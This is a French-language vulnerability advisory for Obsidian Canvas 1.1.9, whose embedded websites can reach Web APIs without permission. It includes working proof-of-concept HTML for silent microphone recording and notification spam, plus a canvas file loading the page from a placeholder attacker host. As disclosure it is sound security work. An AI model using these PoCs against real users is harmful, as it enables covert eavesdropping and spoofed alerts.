
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Type de vulnérabilité :
Contrôle d'accès incorrect
Description :
Un problème découvert dans Obsidian Canvas 1.1.9 permet à des attaquants distants d'envoyer des notifications de bureau, d'enregistrer l'audio de l'utilisateur et d'autres impacts non spécifiés via un site web intégré sur la page du canvas.
Impact :
Les sites web intégrés malveillants peuvent accéder à des API Web sensibles dans l'application Obsidian sans la permission ni la connaissance de l'utilisateur. Par exemple, ils peuvent silencieusement enregistrer le microphone de l'utilisateur ou envoyer des notifications de bureau au nom de l'application Obsidian, à l'insu de l'utilisateur ou sans octroi explicite de permission.
La cause racine de ce problème est l'absence du gestionnaire de requêtes de permission de session dans l'application.
Produit concerné :
Versions concernées :
Étapes pour reproduire :
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
PoC des notifications :
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
Mitigation :
Implémentez le gestionnaire de requêtes de permission de session d'Electron pour traiter les demandes de permission provenant des pages intégrées. L'accès aux API Web doit être explicitement accordé par l'utilisateur ou refusé par défaut.
Références :